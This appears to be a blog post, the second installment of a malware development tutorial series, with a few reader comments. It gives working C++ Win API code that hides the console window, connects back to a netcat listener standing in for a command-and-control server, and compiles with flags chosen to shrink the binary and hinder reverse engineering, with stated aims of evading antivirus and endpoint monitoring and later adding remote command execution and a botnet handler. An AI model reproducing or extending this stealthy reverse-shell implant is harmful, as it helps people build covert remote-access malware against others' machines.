Welcome to the second part of the malware development blog series. Here’s the link to Part 1.
Given the length of Part 2, I have split this 2nd part of the blog series into two itself. So, this is what we will cover in part 2:
- Hide the console Window from user [Part 2-1]
- Write a program using Windows API to connect to netcat listener [Part 2-1]
- Parse the command received from netcat and execute a CMD command based on that [Part 2-2]
- Understand the flags and options of the compiler to reduce the size of the binary and leave the least possible footprint when someone is reverse engineering the binary [Part 2-2]
One thing to remember is that we are not going to execute most of the commands via command shell Win API, reason being that it becomes easier for endpoint monitoring tools to detect anomalies and find out that it’s a suspicious binary even though we can evade anti-virus software easily. But we are still going to write this code, because we never know when we might need to execute shell commands or execute powershell/vbs/batch scripts remotely, and secondly, it is the easiest to start with as a beginner when learning malware development.
C/C++ Headers
Let’s begin with writing a simple C++ socket code using Win API. Below are the only set of C++ headers and pre-processor directives we will be using throughout the series:
//C++ Headers #include <winsock2.h> //Socket Header #include <windows.h> //Win API Header #include <ws2tcpip.h> //TCP-IP Header //C Header #include <stdio.h> //Input Output Header //Debug C++ Header #include <iostream> //Input Output Debug Header #pragma comment(lib, "Ws2_32.lib") #define DEFAULT_BUFLEN 1024
#include, #pragma and #define are the pre-processors here. #include will include a specified header/library into the code which contains required dependencies. #pragma comment will send a signal to the compiler to link the Windows32 library Ws_32.lib with our program. This library is a system file and is included in every version of Windows. It contains the required information for both i386 and x64 architecture of socket libraries so that both versions work properly. The winsocket will not work if this directive is not included. The #define pre-processor is used to define a global variable with a specific value. This value can be accessed by every other function, and in our case this will be the default buffer length or size of bytes which will be sent and received over the network. More information on pre-processors can be found here.
Now, let’s go through the above headers one by one:
- <winsock2.h>
This is a socket library which includes all the socket functions, structs and definitions of Windows. It includes both TCP/UDP sockets and must be linked with the Ws_32.lib library for it to compile and work properly. This is the reason that we have included the #pragma comment directive to link the Ws_32 library with the socket function.
- <Windows.h>
This library includes all the windows API functions which we will be using to communicate with the Windows system. Without this we cannot work with any Win API calls and since we are writing the malware for Windows, we need to work with TCHARS and WCHARS a lot. These data types are predefined in Windows.h header.
- <ws2tcpip.h>
This header contains all the definitions for TCP/IP protocols to run accordingly. Since all our connections would be over TCP, we will be using this header to create a buffer and send it over TCP. We don’t need to write the protocol from scratch since this header is by default included in all windows systems, but however we will need to specify the buffer size and manage how the buffer is sent over the network.
- <stdio.h>/<iostream>
Now, if you have previous experience in C/C++, you might we wondering why we have two headers that do almost the same thing. <stdio.h> is our main header file that will be required to work with input/output operations like reading and writing to text and binary files. stdio.h uses the least required bytes in the program since it is a C-based header and not C++, but it does work in C++ though. This is the main reason why we would be writing programs with a combination of C and C++, reason being that C++ is easier to write and C is useful when we want to decrease the size of the binary and manipulate pointers, references and buffers on the go. On the other hand, we will be using iostream which is a C++ based header, only for printing out values on screen i.e. stdout. We will not be defining namespaces globally here, since we will be using std:: within the functions of our programs when we need to print/debug commands on the screen. Also, we will be using C++ standard 11 and not the default one. I will explain this when we look at the compiler flags and options in the next blog
Always remember to comment out the #include <iostream> and remove the namespace standard whenever you compile the final payload, else the iostream itself increases the size of the binary to 900kb/1MB.
Main()
Let’s get started with the main function now. Since we are going to write a console application, we need to write code to hide the main window. We do not want the window to be open till the program ends, and thus we need to hide it. But, our code should be flexible enough that we should be able to see the window when we are debugging the malware so that we can see what works and what not. Below is what the main function looks like:
//Main function int main() { HWND stealth; //Declare a window handle AllocConsole(); //Allocate a new console stealth=FindWindowA("ConsoleWindowClass",NULL); //Find the previous Window handler and hide/show the window depending upon the next command ShowWindow(stealth,SW_SHOWNORMAL); //SW_SHOWNORMAL = 1 = show, SW_HIDE = 0 = Hide the console RevShell(); return 0; }
The HWND stealth creates a window handle. In object-oriented languages, one application cannot access another data object or a system resource directly. Thus, an object must always return a handle which can be used by other applications to manage/modify it. In simple words, a handle is a data table which contains detailed information about the memory addresses of the object. More information on Windows data types can be found here.
In the second line, we allocate a console to the handle which can display or hide the console. Once the console is allocated, we need to pass the console class’s name which is ConsoleWindowClass and store it in the handle named stealth and then hide it by passing it as an argument to the Win API ShowWindow. This Win API takes the first argument as a handle and the second is an integer value which specifies what should be done with the window. The predefined set of integers can be found here. For now, we will be using SW_SHOWNORMAL which is integer 1 since we need to debug the code as we go, but in the final code, we need to change that to SW_HIDE which is integer 0 to hide the console window. Finally, we have the RevShell function which will be our custom function where we will write the code to connect to our CnC Server. For this tutorial, we will be using netcat as our listener, but in the next blog, we will be writing a proper Botnet handler in python3. And at last we have our return value as zero, since we are writing an int function and we need to provide an exit code.
RevShell()
This function will host our main socket code to connect to our listener. This will be a void function and not an int based and we do not need to return any value. Below is the code for the same:
void RevShell() { WSADATA wsaver; WSAStartup(MAKEWORD(2,2), &wsaver); SOCKET tcpsock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr("127.0.0.1"); addr.sin_port = htons(8080); if(connect(tcpsock, (SOCKADDR*)&addr, sizeof(addr))==SOCKET_ERROR) { closesocket(tcpsock); WSACleanup(); exit(0); } else { std::cout << "[+] Connected. Hit <Enter> to disconnect..." << std::endl; std::cin.get(); } closesocket(tcpsock); WSACleanup(); exit(0); }
Here, the first line WSADATA wsaver, we create an WSADATA object. This WSADATA structure contains details like the version info, system status whether it can connect to a network, maximum sockets it can connect to and so on. Without initializing this data struct, we cannot create a socket. Once the sockets are initialized, we need to check whether the compiled version of sockets is compatible with the older version of sockets. This version comparison is done using the WSAStartup.
Next, we move to create a socket named tcpsock. The line:
Socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Specifies the following:
AF_INET – IPV4 addressing schema
SOCK_STREAM – Stateful connection based streaming
IPPROTO_TCP – Using TCP/IP protocol
sockaddr_in is another data struct of windows which needs the values as to what addressing schema to be used, the IP address to connect to and the port to connect to. In our case, this will the CnC Server’s IP address and port. For debugging purposes, the IP and Port should be the one which runs the netcat listener.
Once the connection details are provided, we try to connect to the netcat listener with the connect function in windows. If the connection has error, it gracefully closes the connection, else it prints that the connection was successfully made and closes the connection on hitting enter. We can then compile the code with below command:
For Linux:
$ i686-w64-mingw32-g++ -std=c++11 maldev.cpp -o maldev.exe -s -lws2_32 -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc For Windows: > g++ -std=c++11 maldev.cpp -o maldev.exe -s -lws2_32 -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc |
If you are using visual code like me, then you can use the below tasks.json file and then hit CTRL+SHIFT+B to build the binary:
// tasks.json { "version": "2.0.0", "tasks": [ { "label": "Build Code", "type": "shell", // For windows, uncomment g++ and comment out the linux command // "command": "g++", // For Linux: "command": "i686-w64-mingw32-g++", "args": [ //Compilation Flags and Options "-std=c++11", "maldev.cpp", "-o", "maldev.exe", "-s", "-lws2_32", "-Wno-write-strings", "-fno-exceptions", "-fmerge-all-constants", "-static-libstdc++", "-static-libgcc" ], "group": { "kind": "build", "isDefault": true } } ] }
I will be explaining the flags and options of the compiler in the Part 2-2 of this blog. This is what you should see when you execute the binary:
Return 0;
Finally, this is all this blog will have. In the next part i.e. Part 2-2, we will write a function to parse the netcat command and execute the command remotely.
ayberk
Hello Chetan, great job you have done i see. I’m trying to run maldev.exe in my local virtual machine but windows can not execute the program. Your work is so important for me, could you please contact me to fix that problem. Thanks!
george
dont stop here pls 🙁
Mr.Z3r0
The best C++ tutorial for explaining keep going mate 🙂